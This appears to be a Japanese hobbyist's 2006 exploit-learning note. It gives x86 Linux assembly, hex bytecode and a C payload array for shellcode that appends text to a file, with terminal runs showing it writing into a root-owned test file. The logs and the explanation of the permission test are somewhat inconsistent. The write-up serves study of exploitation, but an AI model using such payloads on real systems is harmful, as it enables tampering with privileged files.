NENote of Exploiting


2006-11-26 : Additional Write Payload

 追加書き込みペイロードの実験メモ。

 任意文字列を任意のファイルに追加書き込みする実験を行った。昨日、追加書き込みの方法を考えたが、追加書き込みを実現するには複雑すぎることがわかった。ファイルへの追加書き込みは頻出操作であるため、複雑な手順を踏まなければ実現できないようでは効率が悪い。それゆえに、より簡単な手法が存在すると考え、Manページを参照した。

 結果として、ファイルポインタのオフセットを設定するlseekシステムコールを発見した。lseekシステムコールは指定されたファイルディスクリプタのファイルポインタをオフセットサイズ分だけずらす。

 Manページにはlseekシステムコールについて次のように記述されていた。

off_t lseek(int fildes, off_t offset, int whence)

 lseekシステムコールの第一引数にはファイルディスクリプタを指定する。第二引数にはオフセットのサイズを指定する。第三引数にはオフセットの計算方法を指定する。

Calculation method for offset

 オフセットの計算方法には複数の方法が存在する。

SEEK_SET
ファイルポインタを"offset" バイトに設定する
SEEK_CUR
ファイルポインタを現在位置 + "offset"バイトに設定する
SEEK_END
ファイルポインタをファイルサイズ + "offset"バイトに設定する

 以上より、オフセットとして0バイトを指定し、計算方法にSEEK_ENDを指定すればよいことがわかる。つまり、ecxに0を格納し、edxに2を格納する。lseekシステムコールのシステムコール番号は19である。

[SC] pluswrite.s


.globl main 
main:

    jmp    ONE 

TWO:
    #open 
    popl   %ebx 
    xorl   %eax,   %eax 
    movb   %al,    4(%ebx) 
    movb   $0x5,   %al 
    xorl   %ecx,   %ecx 
    inc    %ecx 
    int    $0x80 

    add    $0x5,   %ebx 
    movl   %ebx,   %esi
    movl   %eax,   %ebx

    #lseek off_t lseek(int fildes, off_t offset, int whence) 19
    xorl   %ecx,   %ecx
    xorl   %edx,   %edx
    inc    %edx
    inc    %edx
    xorl   %eax,   %eax
    movb   $19,    %al
    int    $0x80

    #write
    xorl   %eax,   %eax
    movb   $0x4,   %al
    movl   %esi,   %ecx
    movb   $0x0a,  5(%ecx)
    xorl   %edx,   %edx
    movb   %dl,    6(%ecx)
    movb   $0x06,  %dl
    int    $0x80

    #close
    movb   $0x6,   %al
    int    $0x80

    #exit
    xorl   %eax,   %eax
    movb   $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

ONE: 
    call    TWO 
    .string "testXHello"#0a

[Data] test

x234xxxxxxxxxxxxxxxxxxxxxtest. 
It is test. 
Yahoooooooo!!!!!!

Exemplification

このプログラムの重要な点はlseekシステムコールを用いてファイルポインタの位置を変更している点と、「movb $0x0a, 5(%ecx)」の部分である。ファイルの終わりはそれを表す記号を付加する必要がある。ASCIIコードではこの記号は「0x0A」で表されるため、追加する文字列の終わりの場所に0x0aを転送していく。その後ろにいつも通りNULLを設定し、文字列の終わりであることを示す。

 このソースコードをバイトコードに変換する。

eb 3f 5b 31 c0 88 43 04 b0 05
31 c9 41 cd 80 83 c3 05 89 de
89 c3 31 c9 31 d2 42 42 31 c0
b0 13 cd 80 31 c0 b0 04 89 f1
c6 41 05 0a 31 d2 88 51 06 b2
06 cd 80 b0 06 cd 80 31 c0 b0
01 31 db cd 80 e8 bc ff ff ff
74 65 73 74 58 48 65 6c 6c 6f

 得られたバイトコードを次のようにC言語のテストプログラム([SC] exploit.c)に埋め込む。


unsigned char payload[]=
"\xeb\x3f\x5b\x31\xc0\x88\x43\x04\xb0\x05"
"\x31\xc9\x41\xcd\x80\x83\xc3\x05\x89\xde"
"\x89\xc3\x31\xc9\x31\xd2\x42\x42\x31\xc0"
"\xb0\x13\xcd\x80\x31\xc0\xb0\x04\x89\xf1"
"\xc6\x41\x05\x0a\x31\xd2\x88\x51\x06\xb2"
"\x06\xcd\x80\xb0\x06\xcd\x80\x31\xc0\xb0"
"\x01\x31\xdb\xcd\x80\xe8\xbc\xff\xff\xff"
"\x74\x65\x73\x74\x58\x48\x65\x6c\x6c\x6f"
;

 次に、test.cをコンパイルし実行する。

defolos@glazheim:~/Desktop$ gcc test.c
defolos@glazheim:~/Desktop$ ./a.out 

 これでwriteペイロードによってtestファイルが追加書き込みされたはずである。確認をする。

defolos@glazheim:~/Desktop$ cat test
xxxxxxxxxxxxxxxxxxxxxtest.
It is test.
Yahoooooooo!!!!!!
Hello

 追加書き込みが成功していることが確認できた。testファイルの所有者をrootに変更し、C言語のExploit([SC] exploit.c)にペイロードを埋め込みexploitを実行する。

glazheim:/home/defolos/Desktop# chown root test
glazheim:/home/defolos/Desktop# ls -l test
-rw-r--r-- 1 root defolos 57 2006-11-25 19:30 test

 testファイルの所有者がrootであることを確認する。このときtestファイルは元に戻してある。exploit.cをコンパイルし、実行する。

defolos@glazheim:~/Desktop$ gcc exploit.c
defolos@glazheim:~/Desktop$ ./a.out
sp = 0xbffff918
ret = 0xbffff918
-------exploit---------------

 これでtestファイルの中身が追加書き込みによって変更された。確認するために"cat"コマンドを用いる。

defolos@glazheim:~/Desktop$ cat test
xxxxxxxxxxxxxxxxxxxxxtest.
It is test.
Yahoooooooo!!!!!!
Hello

 これでペイロードによってtestファイルが追加書き込みされていることが確認できた。しかし、このままでは追加書き込みの実験が終了したとはいえない。一般権限でもroot権限でも無関係に書き込みができる可能性があるため、この後に一般権限での実行でファイルに文字列が追加書き込みできないことが確認される必要がある。test.cで所有者がrootになったtestファイルへの書き込みを試みる。

 testファイルの所有者をdefolosに変更する。

defolos@glazheim:~/Desktop$ gcc test.c
defolos@glazheim:~/Desktop$ ./a.out
defolos@glazheim:~/Desktop$ cat test
xxxxxxxxxxxxxxxxxxxxxtest.
It is test.
Yahoooooooo!!!!!!
Hello

 追加書き込みが失敗しているのが確認できる。ゆえに、root権限での追加書き込みは成功していると結論付けることができる。念のため、root権限でのExploitによって追加書き込みができるか確認する。

defolos@glazheim:~/Desktop$ gcc exploit.c
defolos@glazheim:~/Desktop$ ./a.out
sp = 0xbffff918
ret = 0xbffff918
-------exploit---------------
defolos@glazheim:~/Desktop$ cat test
xxxxxxxxxxxxxxxxxxxxxtest.
It is test.
Yahoooooooo!!!!!!
Hello
Hello

 ペイロードが成功することを確認できた。追加書き込みの方法を習得できたといえる。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.